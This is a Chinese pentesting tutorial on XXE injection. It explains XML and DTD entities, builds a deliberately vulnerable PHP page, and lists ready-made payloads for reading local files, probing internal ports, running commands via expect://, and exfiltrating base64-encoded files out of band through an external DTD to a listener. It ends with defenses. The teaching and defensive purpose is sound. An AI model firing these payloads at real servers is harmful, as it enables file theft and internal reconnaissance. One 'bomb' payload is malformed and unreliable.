个人笔记-渗透测试-XXE漏洞

一,XML基础

eXtensible Markup Language (可扩展标记语言)

用途:

  • 作配置文件
    <?xml version="1.0" encoding="UTF-8"?>	<!-- XML声明 -->
    <a>	<!-- 根元素 -->
    	<display-name>xxl-job-executor-sample-spring</displayname>
    	<b id=“name”></b>	<!-- 子元素 -->
    </a>
    
  • 交换数据——用于特殊通信

格式要求:

  • XML文档必须有唯一根元素
  • XML文档必须有关闭标签
  • XML标签对大小写敏感
  • XML元素必须被正确的嵌套
  • XML属性必须加引号

XML格式校验——DTD

  • DTD(Document Type Definition)文档类型定义

  • DTD可以是独立文件,也可以在xml文档中声明

  • DTD内容——元素

    <!DOCTYPE TranInfo[
    <!ELEMENT TranInfo(CdtrInf,DbtrInf,Amt)>
    <!ELEMENT CdtrInf(Id,Nm)>
    <!ELEMENT DbtrInf(Id,Nm)>
    ]>
    

    对应XML:

    <?xml version="1.0" encoding="UTF-8"?>
    <TranInfo>
    	<CdtrInf>
    		<Id>01</Id><Nm>zhangsan</Nm>
    	</CdtrInf>
    	<DbtrInf>
    		<Id>02</Id><Nm>lisi</Nm>
    	</DbtrInf>
    	
    	<Amt>1000</Amt>
    </TranInfo>
    
  • DTD内容——内部实体

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE name[
    <!ELEMENT name ANY>
    <!ENTITY cs "beijing">
    ]>
    <!-- 实体的使用 -->
    <people>
    	<name>test</name>
    	<area>&cs;</area>
    </people>
    

    用浏览器打开得到对应XML:

    <people>
    	<name>test</name>
    	<area>beijing</area>
    </people>
    
  • DTD内容——外部实体

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE name[
    <!ELEMENT name ANY>
    <!ENTITY xxe SYSTEM "file://D:/test/test.dtd">
    ]>
    <!-- 实体的使用 -->
    <people>
    	<name>test</name>
    	<area>&xxe;</area>
    </people>
    

    外部实体引用协议:

    • file:///etc//passwd
    • php://filter/read=convert.base64-encode/resource=index.php
    • http://

    不同语言支持不同的协议,如果要支持某协议,需要安装扩展

  • 完整的XML内容

    <!-- xml声明部分-->
    <?xml version="1.0"?>
    <!-- 文档类型定义DTD-->
    <!DOCTYPE note[
    <!ENTITY entity-name SYSTEM "URI/URL">
    ]!>
    <!-- 文档元素-->
    <note>
    	<><>
    	<><>
    	<><>
    </note>
    

二,什么是XXE

XML External Entity injection (XML外部实体注入)

XXE定义:如果web应用的脚本代码没有限制XML引入外部实体,从而导致用户可以插入一个外部实体,并且其中的内容会被服务器端执行,插入的代码可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害。

  • 通过file协议读取解析指定文件,也可以读取解析其他敏感文件
    <?xml version="1.0"?>
    <!DOCTYPE foo[
    <!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "file:///c:/test.dtd">
    ]!>
    
    <creds>
    	<user>&xxe;</user>
    	<pass>password</pass>
    </creds>
    

复现xxe漏洞:

  1. 搭建一个显示xxe的简单网站:

    <head><meta charset=utf-8>
    	<title>xxe测试</title>
    </head>
    <body>
    	<form action='' method='post'>xml数据:<br>
    		<textarea type="text" name="data"></textarea>
    		<br><input type='submit' value='提交' name='sub'>
    	</form>
    </body>
    
    <?php
      date_default_timezone_set("PRC");
      if(!empty($_POST['sub'])){ 
      	$data= $_POST['data'];
        $xml = simplexml_load_string($data);
        print($xml); 
      }
    ?>
    
  2. 使用payload

    <?xml version="1.0" encoding="utf-8"?><!DOCTYPE note[<!ENTITY xxe SYSTEM "file:///D://files/tv.txt">]><login>&xxe;</login>
    
  3. 复现失败可能是php版本不对,simplexml_load_string函数失效,改为php5.4.45nts版本即可

三,XXE利用方式

调用文件

	<?xml version="1.0" encoding="utf-8"?><!DOCTYPE note[<!ENTITY xxe SYSTEM "file:///D://files/tv.txt">]><login>&xxe;</login>

测试端口

<?xml version="1.0" encoding="utf-8"?><!DOCTYPE note[<!ENTITY xxe SYSTEM "http://127.0.0.1:3306">]><login>&xxe;</login>

执行程序

<!-- 需要安装扩展-->
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE note[<!ENTITY xxe SYSTEM "expect://ipconfig">]><login>&xxe;</login>

xxe炸弹

<!ENTITY xxe "file:///dev/random">]><login>&xxe;</login>

如何检测xxe漏洞

  • 在xml中加入能调用外部实体的代码,看看回显

    POST /xxe-lab/php_xxe/doLogin.php HTTP/1.1
    Host: 192.168.133.1
    Content-Length: 132
    Accept: application/xml, text/xml, /; q=0.01
    X-Requested-With: XMLHttpRequest
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
    Content-Type: application/xml;charset=UTF-8
    Origin: http://192.168.133.1
    Referer: http://192.168.133.1/xxe-lab/php_xxe/
    Accept-Encoding: gzip, deflate
    Accept-Language: en-US,en;q=0.9
    Connection: close
    <!DOCTYPE a[<!ENTITY xxe SYSTEM "file:///d:test.txt">]>
    <user><username>123 &xxe;</username><password>3123</password></user>

  • 如果没有回显,则进行xxe的盲打-http接口参数,写入文件:

    • 使用dnslog监听
      <?xml version="1.0" encoding="utf-8"?>
      <!DOCTYPE root [
      <!ENTITY % remote SYSTEM "http://wwwtest.aeagwg.dnslog.cn">%remote;]>
      
    • 或者自己写一个接口
      <?xml version="1.0">
      <!DOCTYPE ANY[
      <!ENTITY % remote SYSTEM "http://域名/user.dtd">
      ]>
      
      
      <!ENTITY % file SYSTEM
      "php://filter/read=convert.base64-encode/resource=file:///c:/system.ini">
      
      <!ENTITY % int "<!ENTITY &#37; send SYSTEM'http://192.168.1.1:8080?p=%file;'>">
      

四,XXE防御

  • 禁用实体解析代码,防止解析外部实体
    libxml_disable_entity_loader(true);
    
  • 过滤用户提交的xml数据

    "
    <
    >
    ]>
    <!–
    <! [CDATA[/]]>
  • 使用WAF过滤

五,playload–即拿即用

  1. <?xml version="1.0"?><!DOCTYPE test [<!ENTITY hacker "haha">]><name>&hacker;</name>

  2. <?xml version="1.0"?><!DOCTYPE name [<!ENTITY xxe SYSTEM "file:///D:/files/tv.txt">]><name>&xxe;</name>

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值